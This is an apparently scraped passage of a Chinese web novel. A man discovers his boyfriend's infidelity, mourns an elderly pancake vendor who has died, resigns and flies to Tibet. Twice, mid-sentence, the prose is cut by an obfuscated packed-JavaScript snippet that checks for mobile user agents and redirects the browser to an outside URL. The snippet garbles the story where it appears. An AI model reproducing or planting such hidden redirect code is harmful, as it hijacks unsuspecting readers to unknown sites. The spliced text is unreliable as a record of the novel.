《在天边落脚》 1. 绿帽 卧室门被推开时,声控灯惨白的光如水银般倾泻而下。 沈翊站在门口,手里还攥着那袋被他用体温焐了一路的鸡蛋灌饼。 塑料包装袋蒙着一层细密的水汽,饼还是温的,他这一路上都将它揣在怀里,像护着什么易碎的宝贝。 而在床上,他的恋人江泽正与另一个陌生男子相拥而眠。两人的呼吸平稳交织,在寂静的房间里清晰可闻,仿佛他才是打破这个幸福画面的恶人。 沈翊感到浑身的血液在那一瞬间停止了流动。 寒意从脚底窜起,顺着脊椎一路攀爬,最终凝固在心脏的位置。他张了张口,却发不出任何声音,只有喉结在艰难地上下滚动,最后又合上了嘴。 转身离开,身体早已习惯了一切,轻轻地关上了门。他看着早已习惯轻手轻脚的身体,被气笑了。 无声的“呵”,谁也没听见。 “咔哒。” 轻得像一声叹息,又重得像一座坟墓的封门石。 客厅没开灯。沈翊靠着沙发滑坐到地板上,从茶几抽屉里摸出烟和打火机。 江泽有洁癖,讨厌烟味,他已经很久没在家里抽过烟了。 “去他妈的洁癖。”他低声骂了一句,点燃了烟。 火光在黑暗中忽明忽暗,凸显出他苍白的脸。烟雾缭绕上升,纠缠着他那双此刻空洞得毫无生机的眼睛。茶几上,那袋鸡蛋灌饼安静地躺着,塑料包装在昏暗的光线下泛着油腻的光。 异常的讽刺。 还他妈格外碍眼。 沈翊盯着那袋饼,忽然很想笑。他也确实笑了,一声短促的“呵”从喉咙里挤出来,在空旷的客厅里显得格外突兀。 他想,自己可真像个小丑。 一个悲的小丑。 一个自欺欺人的小丑。 --- 三个小时前。 深夜十二点,沈翊站在写字楼下的路边摊前,精致的西装与滋滋作响的铁板煎饼摊格格不入。冬天夜里的寒风像刀子一样刮过。在路灯昏黄的光晕里,煎饼摊升腾的白气刚冒头就被寒风吹散。这城市连一点点温暖都吝于保存。他随手把手缩进大衣口袋,碎发在眉毛处被风吹得微微上扬。 “老板,一份鸡蛋灌饼,加辣条,不要香菜。”他低头看着手机,手指在屏幕上飞快地打字,之前最后一条发给江泽的消息还停留在“我下班了”,但没有回复。 “好嘞!”摊主王大爷应得爽快,手上动作不停,“见你天天加班,老熟人了,给你多加个鸡蛋。” 铁板上滋啦作响,鸡蛋撞上热油的瞬间爆出浓香。 沈翊抬起头,有些腼腆地笑了笑:“您这……整得我怪不好意思的。” 他是真的不好意思。在这个城市生活了这么多年,能称得上“熟人”的屈指可数。王大爷的煎饼摊是他加班夜晚的固定站点,某种程度上,这摊子前的人间烟火气,是他乏味生活中为数不多能触手可及的“热闹”。 “害,害羞啥?”王大爷拿着铲子在空中熟练地颠了颠,“你天天来照顾生意,我还得谢你不嫌弃这儿脏呢。” 沈翊眼眸中闪过一丝无奈,“都是打工人,哪来谁嫌弃谁。”沈翊轻声说,目光落在老人那双布满老茧和冻疮的手上。 大冬天的,连他这个身强体壮的年轻人站在无遮无挡的摊子前都觉得冷,更别说眼前这位看上去已年过六旬的老人了。煎饼车四周用透明塑料布草草围了一圈,在狂风中东摇西晃,发出哗啦哗啦的声响。 如果是路人,此刻或许会想起自家爷爷奶奶,泛起一阵心酸。 可惜沈翊没有这种想象的记忆。关于“慈祥长辈”的记忆,在他的人生里是一片空白。他没变成反.社.会.人格,已经要感谢自己骨子里那点残存的理性。 “现在你们年轻人找工作不容易啊。”王大爷一边把鸡蛋单手打进面饼,一边絮絮叨叨,“像我们这种苦力活,你们干不了,太累。不是说你们不能吃苦,也不是说你们瞧不上……” 他急得在空中比划,生怕沈翊误会。 “总之现在国家发展好了,机会多,但也难。”老人叹了口气,“我听新闻上说啥产业转移……哎,专业词儿太多,弄不明白。反正我知道你们不容易。” 沈翊安静地听着,心里某个角落微微一暖。 在这个变化快得让人窒息的时代,能有个人愿意对你讲几句真诚的废话,竟也成了一种奢侈。 他忽然觉得,自己或许没那么失败起码还有一个愿意对他释放善意的“熟人”,哪怕只是单方面的。 “您也不容易。”沈翊看着老人冻得通红的鼻尖,斟酌着开口,“大冬天还坚持出摊,我这年轻人都扛不住这风。” 话说到这份上,意思已经很明显了,如果需要帮助,或许他可以做点什么。 王大爷手上的动作顿了顿。褶皱的眉眼间掠过一丝深重的无奈,那是一种被生活反复捶打后才会有的疲惫。 “没办法,总得要养家。”老人声音低了下去,“我儿子……前年毕业的。那孩子争气,考上研了!但找工作的时候没考上公.务.员,但被大厂立马录用了。” 铁板上的油滋滋作响,热气蒸腾。 “可他只干了几个月,就跳江了。” 铲子停在半空。王大爷像是突然意识到自己说了什么,慌忙拍了拍自己的嘴:“哎,瞧我这碎嘴……不提了不提了,说这些让你心情也不好了。”手忙脚乱也无法掩盖他说错话的懊恼与失去儿子的痛苦。 沈翊愣在原地。 他设想过很多种可能。比如:老人需要钱给孙子上学、老伴生病、自己身体不好……但唯独没料到会是如此出乎意料的答案。 一直以来,沈翊都坚信自己能用理性的框架分析一切问题,包括自己的情绪。可此刻,那些精心构建的逻辑体系在真实的苦难面前碎得无声无息。 他张了张口,安慰的话堵在喉咙里,一个字都吐不出来。 反倒是王大爷先笑了,那笑容在苍老的面孔上显得格外勉强:“你看,我还没哭呢,你这孩子倒像是要哭出来了。” “主要是这事儿把我媳妇打击太大了。”老人低头翻着饼,“她现在还在医院里住着……不知道能不能熬过这个冬天。” 沈翊几乎是下意识地问:“那……其他孩子呢?” 话一出口他就后悔了。 王大爷沉默了很久,久到沈翊以为他不会回答了。 “我呀,命不好。”老人的声音轻得像叹息,“媳妇身体不行,后来怀过两个,都没保住。她犟,非要再生,我不让。医生说了,再怀她可能就没了……是个人都会选自己的另一半吧?没了她,我后半辈子怎么过?” 寒风吹过,塑料布哗啦作响,像在为这段话配上一段荒诞的伴奏。 沈翊感到心脏被什么东西狠狠攥住了。他想起大学时读过的那些哲学书,关于存在、关于苦难、关于价值——所有那些精妙的思辨,在这样具体的、血淋淋的人生面前,都成了苍白无力的呓语。 如果真有神佛,为什么只在高处接受供奉,却从不肯低头看一眼人间的苦厄? “神”也好,“佛”也罢。 他们真的存在吗? 如果存在,为什么世上会有活得如此艰难的人? 手机闹钟突然响了——21:00。 沈翊回过神来,发现平时这个时间本该准时发来消息的江泽,对话框依旧一片死寂。 “再要一份。”他对王大爷说,语气是自己都未察觉的急促,“不加辣条,其他一样。” 王大爷抬头看他,浑浊的眼睛里闪过一丝了然。 “给对象带的?”王大爷手上动作更快了,“年轻人就得这样,心里装着人,日子才有奔头。” 沈翊含糊地“嗯”了一声。 “小娃子,”老人把第一份饼递给他,暖呼呼的纸袋接触到掌心时,沈翊感觉自己的心脏像是被烫了一下,“工作不开心了,就给自己放个假。趁着年轻,多出去走走,天地大着呢,别把自己逼太紧。” 沈翊怔了怔。 这番话从一个刚刚倾吐了毕生苦难的老人口中说出,带着一种近乎残忍的豁达。 沈翊接过饼,塑料袋窸窣作响。 --“他看出来了。” --“为什么善良的人总被厄运缠身?” --“不是说善有善报吗?为什么现实不是这样?” 他想不明白。 永远也想不明白。 王大爷快速做好第二份饼,这次用包装纸仔细地多裹了一层。“拿好了,小伙。” 沈翊接过,犹豫片刻,还是开口说:“我很喜欢您做的饼……跟我妈做的味道很像。” 他说了谎。他根本不记得母亲做饭的味道。那个女人在他高中时就离开了家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182974|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟另一个女人走了。 但王大爷听笑了。是那种笑容发自内心,却在寒冬苍白的面孔上显得格外刺眼,让沈翊没来由地心慌。 “你喜欢就好。”老人的声音低沉而安稳,像是历经所有折磨后终于被抚平了所有褶皱,只剩下一种温吞的、认命般的温和。 他开始收拾摊子,动作慢而有序。告别后,推着那辆吱呀作响的小车,缓缓消失在夜色深处。 像是专程来为他做这最后一顿饼。 像极了告别。 沈翊坐进车里,将第一份饼放在副驾驶座上,第二份仔细地揣进大衣内袋,贴着胸口。 他一边小口吃着饼,一边透过后视镜看那个佝偻的背影越来越远,最终融入城市的霓虹灯。直到完全看不见了,他才在手机上点了几下,发动车子。 “虚伪。”他在心里骂自己。 但手指还是完成了转账——500元。不多,是他能想到的最不伤及老人自尊的帮助方式。 夜色中,那个推车的身影忽然停住了。沈翊从后视镜里看到老人摸出手机,屏幕的光亮映亮了他错愕的脸。几秒钟后,老人慌乱地四下张望,似乎想追上来,可车子已经拐进了另一条街。 沈翊想象着那双粗糙的手在智能屏幕上笨拙划动的样子,想象着老人眼中打转的泪水——黑夜会替他掩盖最后的倔强。 老实人连便宜都不敢占,怕给人添麻烦,更怕麻烦找上门。 两个人,往相反的方向。 不同的人生,相同的无力。 半个小时后,沈翊回到公寓楼下。 他自己的那份饼已经在车里吃完,怀里那份还温着。他看着电梯镜面门里自己模糊的倒影,忽然笑了一声——行为傻逼,但情真意切。 指纹解锁,门开了。 屋里一片漆黑,安静得反常。平时这个时间,江泽就算在忙,也会迎出来接他,或者至少开着一盏灯。 门口,江泽的拖鞋整齐地放着。 沈翊脸上的笑意深了些。他轻手轻脚换鞋,把饼小心翼翼放在餐桌上,生怕动静太大吵醒“睡着”的恋人。 “小懒猪。”他无声地念叨,心里软成一片。 卧室门虚掩着。他推开—— 声控灯应声而亮,惨白的光铺满了床。 后面的记忆有些断片。沈翊只记得自己轻轻带上了门,走到客厅,点烟,坐下。整个过程安静得像一出默剧。 烟雾警报器尖锐地响了几声。他烦躁地抓起拖鞋砸向天花板,警报器哑了,但胸腔里的怒火却越烧越旺。 隔音好的公寓此刻成了最致命的缺陷,他听不到卧室里的任何动静,而他们也听不到他的动静。这种死寂让他愤怒。 他真他妈想冲进去,把床上那对狗男男揪起来,一拳一拳砸烂那些背叛的嘴脸。 但他没有。 不是因为善良,而是因为理性在最后一刻拉住了他:打人要负法律责任,为了这对渣滓搭上自己,不值得。 况且……那毕竟是他爱过的人。 “爱”。 多可笑的一个字。 沈翊靠在沙发上,一根接一根地抽烟。烟雾缭绕中,他试图用最擅长的理性来分析现状: 为什么他能如此平静? 因为懦弱。因为恋旧。因为痴情到不愿意面对现实。 过去吵架,总是他先低头。他总以为,只要足够努力,足够包容,就能换来一个“白头偕老”的结局。 现在想来,他可真是纯种的小丑。 第一次被背叛,是在十八岁生日那天——父母各自带着情人,向他宣布离婚,顺带互相指责对方“把所谓所谓的基因缺陷遗传给了儿子”。 第二次,就是今天。 原来欲望这种东西,他真的从未拥有过吗? 放屁。是个人都会有欲望,他也不例外。只是他的欲望太简单了——一个家,一个爱人,一点俗世的温暖。 可惜老天爷看他不顺眼,非要把他这点卑微的念想也剥夺干净。 茶几上,那袋鸡蛋灌饼彻底凉透了。油凝固在包装纸上,形成一片难看的污渍。 屏幕的光映照他毫无表情的脸。 窗外,城市的霓虹彻夜不眠。而在这个小小的客厅里,一些东西无声地断裂了,碎成再也拼不回的粉末。 寒夜还很长。 但天,总会亮的。 2. 渣男就要甩掉 躺在床上的两人丝毫没有意识到,他们曾与死亡擦肩而过。 不,这么说太浪漫了。 更准确的说法是:沈翊的理性在最后一刻压倒了毁灭的冲动。 他清楚地算过做了这件事情的后果——故意伤害罪,三年以上七年以下;若是失手致死,十年起步。为了这对 人渣搭上自己的人生,不值。 他不是遵纪守法的好公民。 他只是个精于计算的利己主义者。 这一夜注定无眠。 沈翊试图用手机转移注意力,指尖机械地滑动屏幕。短视频软件像是窥见了他灵魂的破洞,推送的内容清一色全是“抓奸现场实录”、“被绿后的正确应对方式”。大数据这玩意儿,有时候精准得令人脊背发凉。 他不知道该笑还是该哭,最后只是麻木地继续下滑。 直到手机电量耗尽,屏幕彻底暗下去。 漆黑的屏幕上倒映出一张苍白、陌生的脸。沈翊盯着那个影子看了很久,忽然抬手捂住了眼睛。 不能让眼泪流下来。 流泪意味着软弱,而软弱是这世上最没用的东西。 他更不想回卧室去看那幕令人作呕的场景。 随手把手机扔在茶几上,沈翊在沙发上蜷缩起来,像一只被丢弃后本能寻找角落的小动物。这个姿势让他感到一种虚假的安全感,仿佛身体缩得够小,痛苦就能被压缩到忽略不计。 然后,他开始复盘自己这短暂而荒谬的一生。 父亲是骗婚的同性恋,母亲为了报复父亲,在儿子十八岁生日那天带着女友出柜。而沈翊自己,真他妈要感谢这该死的遗传基因——他也是同.性恋。 这像是一个恶毒的诅咒,缠绕在他们家族的血液里。 他记得自己鼓足勇气向母亲坦白.性.取向那天,那个曾经温柔的女人盯着他看了很久,最后从牙缝里挤出一句:“恶心。” 一直对他疼爱有加的爷爷更绝。老人家什么也没说,只是在一个寻常的午后,让律师送来一份文件:从即日起停止一切学费生活费供给,户口已迁至学校集体户。干净利落,斩断所有联系。 他不理解。 也不想理解。 更理解不了——明明他们自己也是同类,凭什么要求他“正常”? 恶不恶心呐。 江泽是他的初恋。在遇见江泽之前,沈翊一直活得像个影子,畏缩地藏匿在人群的缝隙里。他太清楚这个社会对“异类”的恶意——侮辱、歧视、冷暴力,这些词光是想一想就让他脊背发凉。 所以他小心翼翼,把自己包装成最普通的样子。直到遇见江泽,那个笑着说“两个男生在一起也没什么不好”的人。 他还天真地以为,他们真能走到最后。不需要多浪漫,只要一个家,一点温暖,一点俗世的安稳。 他沈翊什么都能忍——父母的抛弃,旁人的眼光,工作的压力——唯独忍不了背叛。 如果不爱了,为什么不直说? 为什么要用这种方式,让他亲眼目睹自己的爱情腐烂发臭的样子? 他是个理性的人。 理性到此刻还能在脑子里列清单: 1.不会歇斯底里——那是疯狗的行为。 2.分析利弊——分手是最优解。 3.华丽退场——像小说里那些体面的男二号。 可眼前的一切在疯狂打脸。 他沈翊,难道是他们play中的一环吗? 他就那么不值得被认真对待? 思绪又转向自己。 他开始复盘自己的缺点:脾气古怪,偶尔暴躁,缺乏耐心,情绪控制能力差。一个理性与浪漫的畸形结合体。 但这些阴暗面他从未示人,连江泽也不曾见过。他总把自己最好的一面留给爱的人。现在看来,这或许正是问题所在。 也许他注定无法拥有家庭,就像他破碎的原生家庭一样。母亲那句“一切都是报应”忽然在耳边响起。 因果报应。 如果真有因果,那他上辈子究竟造了什么孽,要承受这些? 意识在疲惫中逐渐模糊。沈翊蜷在沙发上睡着了,姿势像个在母体中寻求庇护的胎儿。月光透过窗帘缝隙,在他脸上投下斑驳的光影。 他没有哭。 只是睡着时,眉头依然紧锁。 清晨的第一缕阳光像一把锋利的刀,劈开卧室的窗帘,直刺沈翊的眼睛。 他猛地睁开眼,有几秒钟的茫然——这是哪里?为什么睡在沙发上? 然后记忆如潮水般涌回。 沈翊坐起身,在晨光中发了会儿呆。茶几上,那袋鸡蛋灌饼已经冷透,包装纸上的油污凝结成难看的黄色斑 块。他抓起它,走进厨房,扔进垃圾桶。 动作干脆利落,仿佛扔掉的不是一袋饼,而是昨夜那个愚蠢的自己。 他洗了把脸,冷水刺得皮肤生疼。镜子里的男人眼圈乌青,下巴冒出胡茬,但眼神是清醒的——一种近乎残酷 的清醒。 该做个了断了。 沈翊走到卧室门口,抬手敲了三下。笃、笃、笃。节奏平稳,力道适中,像在敲一扇普通的门。 里面传来窸窸窣窣的慌乱声响。 他等了几秒,按下门把。 门开了。 床上两人正在手忙脚乱地套衣服。江泽连内裤都还没穿好,见沈翊进来,几乎是扑过来抓住他的袖子:“你相信我,不是你想的那样!” 沈翊真的被气笑了。 他轻轻抽回手臂,避开江泽试图拥抱的动作,语气平静得像在讨论天气:“我想的是哪样?你说说看。” “这……这只是误会!”江泽的脸涨得通红。 沈翊真的被气笑了,谁在被抓偷情时说的不是这句话。 出轨就是出轨无关性别,而是道德。 “误会?”沈翊挑了挑眉,“谁家的误会需要两个人裸睡在一张床上?这误会给你,你要不要?” 江泽僵在原地,手尴尬地悬在半空。几秒钟后,羞恼转为愤怒,他突然拔高声音:“这是我的错吗?!沈翊, 你摸着自己的良心问问!你每天都在加班!每次我想跟你出去,你哪次不是用工作推脱?” “是,你是送礼物,是注重细节,可那有什么用?你除了第一次,后来碰过我几次?你是瞧不起我,还是外面早就有人了?” “还初恋?还第一次谈恋爱?谁第一次谈恋爱像你这么会冷淡!口口声声说要跟我过一辈子,实际上陪我的时间有多少?你自己算过吗?!” 江泽越说越激动,最后几乎是吼出来的:“没错,我就是出轨了!我不光身体出轨,我他妈精神早就出轨了!跟你确定关系不到半年,我就后悔了!” 沈翊安静地听着,脸上没什么表情。 他只是觉得荒诞。 眼前这个面目狰狞的人,真的是他爱过的那个、笑起来眼角有细纹的江泽吗? 还是说,他从来就没有真正认识过这个人? “说完了?”等江泽喘着粗气停下来,沈翊才开口,声音平静得可怕,“说完就收拾东西吧。在我下班回来之 前,搬出去。” “你……”江泽瞪大眼睛,“你这是要彻底闹掰?” 沈翊没有回答。他转身走向客厅,从茶几上拿起烟盒,抽出一支,点燃。动作缓慢而从容,仿佛在等待他们的 离去。 烟雾升腾时,他才淡淡地说:“都是成年人了,体面一点。” 被激怒的江泽在身后冷笑:“好,好,沈翊,这是你说的。你现在就算跪着求我,我也不会回头!” “放心。”沈翊吐出一口烟,“就算你想回头,我也没时间应付一条流浪狗。” 那天早上,沈翊像往常一样去上班。 人一旦走霉运,连呼吸都像在碰壁。他熬夜修改的方案被主管否决了,理由含糊其辞:“感觉不对,重做 吧。” 放在以前,沈翊会毕恭毕敬地点头,回去加班加点改到对方满意。 但今天他没有。 他只是拿起那份打印好的方案,回到工位,轻轻放在桌上。办公室里只有他一个人,其他人要么出差,要么跑 业务,只有他这个“老实人”被留下来处理杂事。 沈翊去了吸烟区。 他靠在墙上,点燃一支烟。烟草的辛辣呛入肺腑,竟有种奇异的安抚作用。 高跟鞋的声音由远及近。磨砂玻璃门被推开,财务部的林部长走了进来。她是个四十出头的女人,妆容精致, 走路带风。 看见沈翊,她挑了挑眉,从手包里掏出烟盒,在他对面站定,点燃一支。 “少见啊。”林部长吐出一口烟,“以为你不碰这玩意儿。” 沈翊摇摇头,声音沙哑:“最近内火旺。” 林部长瞥了他一眼,忽然笑了:“懂了。被绿了?” 沈翊没说话。 “人生就这样。”林部长很快抽完一支,把烟头按熄在垃圾桶上方的沙盘里,“没缘分就放手,对谁都好。” 她踩着高跟鞋离开,留下淡淡的香水味和一句忠告。 沈翊又站了一会儿,抽完第二支烟。 然后他感到一种强烈的、生理性的饥饿。 他想吃王大爷做的鸡蛋灌饼了。 摊位还在老地方,但站在后面的人换了——一个十七八岁的女孩,面前摆着花花绿绿的创意小吃。 沈翊要了个汉堡,付钱时随口问:“之前在这儿摆摊的老大爷呢?” 女孩正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182975|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在整理保温箱,闻言抬起头:“你说王大爷?” “卖鸡蛋灌饼的那位。” 女孩点点头,稚气的脸上掠过一丝与年龄不符的沉重:“这块地是我家租的。我妈见王大爷不容易,就让他在 这儿摆。但是……” 她顿了顿,声音轻了下去:“昨天半夜,他老伴走了。本来就在医院里撑着,没熬过去。王大爷赶去医院,迟了几分钟,没见上最后一面。” 沈翊的手指僵在手机支付页面上。 “老人家受的打击太大,没撑住。”女孩小声说,“握着老伴的手,一起走了。” 远处传来女人的呼唤:“乖宝,天冷,收摊回家写作业了!” 女孩扬声应道:“卖完这点就走!” 一个系着围裙的中年女人走过来,把外套披在女孩肩上,语气宠溺:“那快点,爸爸做好午饭了。” “嗯!” 母女俩的对话寻常温暖,落在沈翊耳中,却成了某种残酷的对照。 ---这大概就是王大爷和他老伴向往过的“未来”吧。 普通人的,柴米油盐的,有人等、有人疼的未来。 沈翊不知道自己是怎么回到公司的。 他坐在工位上,盯着电脑屏幕,脑子里却是一片空白。王大爷的脸、江泽的脸、父母的脸、女孩和母亲的笑 脸……这些画面交替闪现,最后都模糊成一片刺眼的光晕。 然后他打开文档,开始写辞职信。 原先只想请假去西藏的,现在不如直接辞职好了。 信写得很简单,没有套话,没有感谢,只有一句“因个人原因,申请离职”。他打印出来,签上名,走进主管 办公室。 主管甚至没多问一句,爽快地批了。 也是,他算什么?一个可有可无的螺丝钉,走了再换一颗就是。 沈翊花了一个小时收拾工位。其实没什么可收拾的,无非是几本专业书,一个水杯,一盆半死不活的绿萝。他 把绿萝送给了保洁阿姨,其他东西塞进纸箱,搬到了地下车库。 坐进车里,他没有立刻发动引擎。 而是在手机上打开了购票软件。 西藏。 那个他曾在无数个加班的深夜,对着旅游博主的视频发呆的地方。那个被称为“净化心灵”的圣地。 一个连心都没有了的人,还需要净化吗? 他不知道。 但总得去个地方。 沈翊盯着它看了很久,然后拿起手机,开始订票。 手指在屏幕上滑动,确定改航班,付款。整个过程不到十分钟。从北京飞拉萨,在西安转机,后天出发。 沈翊盯着订单确认页面,忽然笑了。 他觉得,自己赚到了。 回到公寓时,屋里空无一人。 江泽已经搬走了,倒是挺有效率。 客厅里留下几处明显的空缺:电视柜上的合影不见了,玄关处少了一双拖鞋,空气里残留着一丝陌生香水味。 沈翊没有开灯。 他在黑暗中站了一会儿,然后开始收拾自己的东西。 衣帽间里,他的衣服整整齐齐地挂着,都是江泽整理的。那个男人有轻微的强迫症,衬衫必须按颜色排列,外 套必须用统一的衣架。 沈翊拉开行李箱,把衣服一件件扔进去。 动作粗暴,毫无章法。 角落里,曾经并排放着两个行李箱,一黑一绿,是情侣款。现在绿色的那个不见了,只留下地毯上一块颜色稍 浅的方形痕迹。 像是时光在这里悄悄挖走了一块肉。 沈翊强迫自己不去想江泽。 他是个理性的人,但理性之下,藏着容易心软的弱点。 他怕自己会动摇,会原谅,会重蹈覆辙。 所以必须快刀斩乱麻。 收拾完行李,他改了门锁密码。接着打开冰箱,把里面还能吃的东西全部装袋,放在门口,明天保洁会来收 走。只留下几瓶水、可乐和啤酒。 检查煤气阀门,关水电总闸。 最后,他拉着行李箱站在门口,回头看了一眼这个生活了三年的地方。 晨光从窗外涌进来,把客厅照得一片通明。 尘埃在光柱中缓缓飞舞,像一场无声的告别仪式。 沈翊关上了门。 “流浪”这个词,忽然没有那么可怕了。 至少,流浪意味着你还在向前走。 而有些地方,有些人,一旦回头,就是万丈深渊。 --- 电梯缓缓下降。 数字从28跳到1。 门开了。 沈翊拉着行李箱走进晨光里,没有回头。 3. 飞往西藏 飞机是在凌晨起飞的。 沈翊坐在靠窗的位置,看着这座城市在脚下逐渐缩小成一片闪烁的光海。 写字楼的轮廓、高架桥的车流、复合小区里零星未熄的窗灯。这些曾构成他全部生活的景象,此刻正以肉眼可见的速度退后、模糊、最终消融在无边的夜色里。 他忽然想起小时候第一次坐飞机的经历。那时候母亲还没离开,父亲还会假装恩爱,一家三口去海南度假。小 沈翊趴在舷窗上,惊叹云海像棉花糖,父亲摸着他的头说:“看,人类多渺小。” 是啊,人类多渺小。 渺小到以为抓得住的东西,其实一阵风就能吹散。 -- 这趟飞往拉萨的航班需要在西安转机。 沈翊原本想直飞,但现实很骨感——没钱。信用卡里最后的额度勉强覆盖了转机机票,至于住宿,他在机场休息厅的长椅上凑合了一会儿,转机时间也不长。至于为什么没钱,因为把工资全给江泽当零花钱给。 算了,倒也符合他现在的状态:一个落魄的、无处可去的流浪者。 从西安起飞时,机舱里坐满了人,但气氛沉闷。大部分人一登机就戴上眼罩开始补觉,一看就是常年往返这条航线的商务客。只有沈翊一直盯着窗外,像第一次看见天空的孩子。 他旁边座位是空的,这让他松了口气。内向的人最怕被迫社交,尤其在这种时候——他实在没力气应付任何一句“你也去西藏旅游啊”的寒暄。 飞机爬升时,他感到胃里一阵翻搅。不是晕机,是那种从深处涌上来的、生理性的不适。就像身体在抗议叫嚣着问:你为什么要逃?逃到哪里去? 最后他从空姐那儿要了矿泉水压下生理性的不适,他不想打扰别人。 窗外,天光渐亮。 云层被染成淡金色,机翼划过时留下长长的白色轨迹。有那么一瞬间,沈翊觉得这架飞机不是在飞向某个地方,而是在逃离——逃离过去,逃离自己,逃离那个在客厅沙发上蜷缩了一夜的、失败的沈翊。 中途经停格尔木时,机舱门打开,一股寒意裹挟着高原特有的干燥空气涌进来。 沈翊打了个哆嗦,凑到窗边。 眼前是另一番天地。 机场四周被雪山环抱,皑皑白雪在晨光中泛着冷冽的银光。远处山脊线条锋利,像天神用刀劈出来的。这里的天蓝得不真实,是一种饱和度高到近乎虚假的蓝。 他下意识拿出手机拍照,镜头却无法捕捉那种震撼。有些风景,注定只能存在于亲眼所见的记忆里。 就在这时,一群人登机了。 走在最前面的是位老人,穿着暗红色的藏袍,内衬是明黄色的。他戴着一副老式圆框眼镜,手里拄着拐杖,被一个年轻人小心搀扶着。老人嘴里说着沈翊听不懂的语言,语调缓慢而庄重。 紧随其后的是一位中年妇女,背着鼓囊囊的布包,手里攥着一叠机票。再后面是两个穿着红色袈裟的年轻僧人——沈翊猜测他们应该是僧人,虽然对藏传佛教的了解仅限于旅游攻略上的只言片语。 这一行人在他后排落座。紧接着,又有一家老小上了飞机,看样子是家族旅行。 最后,两名穿红色袈裟的年轻人坐到了沈翊旁边的空位上。他们朝他友善地笑了笑,沈翊僵硬地点头回应。 飞机再次起飞后,沈翊用余光观察他们。 两个年轻人从手腕上解下佛珠,手指飞快地拨动珠子,嘴唇无声地开合。那是一种完全沉浸的状态,仿佛周遭的一切——引擎的轰鸣、乘客的低语、空姐推车经过的声音——都与他们无关。 沈翊曾听说过“默诵”这种修行方式,但亲眼所见还是第一次。他试图去听,却什么也听不见。只有那种专注的、近乎神圣的静谧,在嘈杂的机舱里划出一小片独立的时空。 他忽然觉得,自己那些所谓的“痛苦”,在这样坚定的信仰面前,显得如此苍白和廉价。 “各位旅客,飞机即将开始下降。请您关闭遮光板,下方是军事管制区,禁止拍照。” 空姐的声音打断了沈翊的思绪。 遮光板合上的瞬间,机舱陷入昏暗。沈翊靠在椅背上,闭上眼睛。黑暗中,感官反而变得更加敏锐——他能闻到旁边僧人身上淡淡的檀香味,能听见后排老人低沉的诵经声,能感觉到飞机下降时耳膜的压力变化。 郁闷的心情,竟在这种奇异的氛围中悄然消散了一些。 或许这就是旅行的意义。当你被抛入一个完全陌生的环境,那些缠绕你的旧事会暂时失去掌控力。它们还在,但被距离和新鲜感稀释了浓度,不再那么痛苦。 飞行途中旁边的年轻僧人递过来一大包装着各种各样自制的点心还有牛肉干,微笑着比了个“吃”的手势。 沈翊摇摇头,指了指自己的胃,又摆摆手。他怕吃了会吐,更怕在这种场合失态,也不知道对方会不会在意。 僧人理解地点点头,没有强求。 落地拉萨贡嘎机场时,高原反应来得猝不及防。 沈翊刚站起身,就感到一阵头晕目眩。像是有人在他脑子里塞了一团棉花,思维变得迟滞,呼吸也变得费力。他扶着座椅靠背缓了缓,才勉强跟着人群走下舷梯。 在行李转盘前等待时,那种不适感越来越强烈。恶心、头痛、心跳加速——所有高原反应的典型症状,他一个没落下。 旁边那位年轻僧人注意到了他的不对劲,从随身的布包里掏出一个蓝色的小氧气瓶,递到他面前,比划着让他吸。 沈翊愣了愣,接过氧气瓶,有些笨拙地将面罩扣在口鼻处。清凉的气流涌入肺部,眩晕感稍稍缓解。 他想道谢,掏出手机示意加微信,以后好把氧气瓶的钱转过去。 僧人却摇摇头,双手合十,朝他微微颔首。那笑容干净得像是雪山上的雪,洁白无暇,意思很明显:不用谢,人没事就好。 这一大家子很快取完行李离开了。沈翊看着他们的背影消失在出口处,心里某个角落微微一动——在这个人人低头看手机的时代,这种不计回报的善意,陌生得让人心慌,令人不安。 等沈翊拖着行李箱走到出口时,已经比约定时间晚了一个小时。 接机的人还会在吗? 他站在人来人往的到达大厅,看着手机屏幕上“民宿接机司机”的号码,第一次体会到什么叫“近乡情怯”虽然这里并非故乡,却是他此刻唯一的去处。 电话拨通了。 “您好,我已经到机场了。”沈翊说,声音因为缺氧而显得闷闷的。 “我也到了,您在哪里?”听筒里传来的男声带着明显的口音,但普通话还算标准。 沈翊环顾四周:“在出口处,手里拿着氧气瓶。” 说完他自己都笑了。真狼狈啊,沈翊。二十七岁的人了,像个需要被领走的小学生。 “好的,我找找。” 沈翊正要再描述自己的穿着,目光忽然定住了。 正前方不远处,一个年轻男人正握着手机四处张望。他穿着半旧的黑色羽绒服,牛仔裤,马丁靴,肤色是高原人特有的深麦色。最引人注目的是那张脸——轮廓硬朗,鼻梁高挺,眉毛浓密,眼睛在机场明亮的灯光下亮得惊人。 像一头警觉的、年轻的野生动物。 沈翊下意识又拨了一次电话。 他看到那个男人接起手机,同时,视线也扫了过来。 四目相对的瞬间,沈翊的心脏漏跳了一拍。不是心动,是某种更原始的、生物性的警觉——这个人身上有种强烈的存在感,哪怕隔着十几米的距离,也能清晰地传递过来。 他举起手挥了挥。 男人确认了手机号码,大步朝他走来。 走近了,沈翊才看清更多细节。 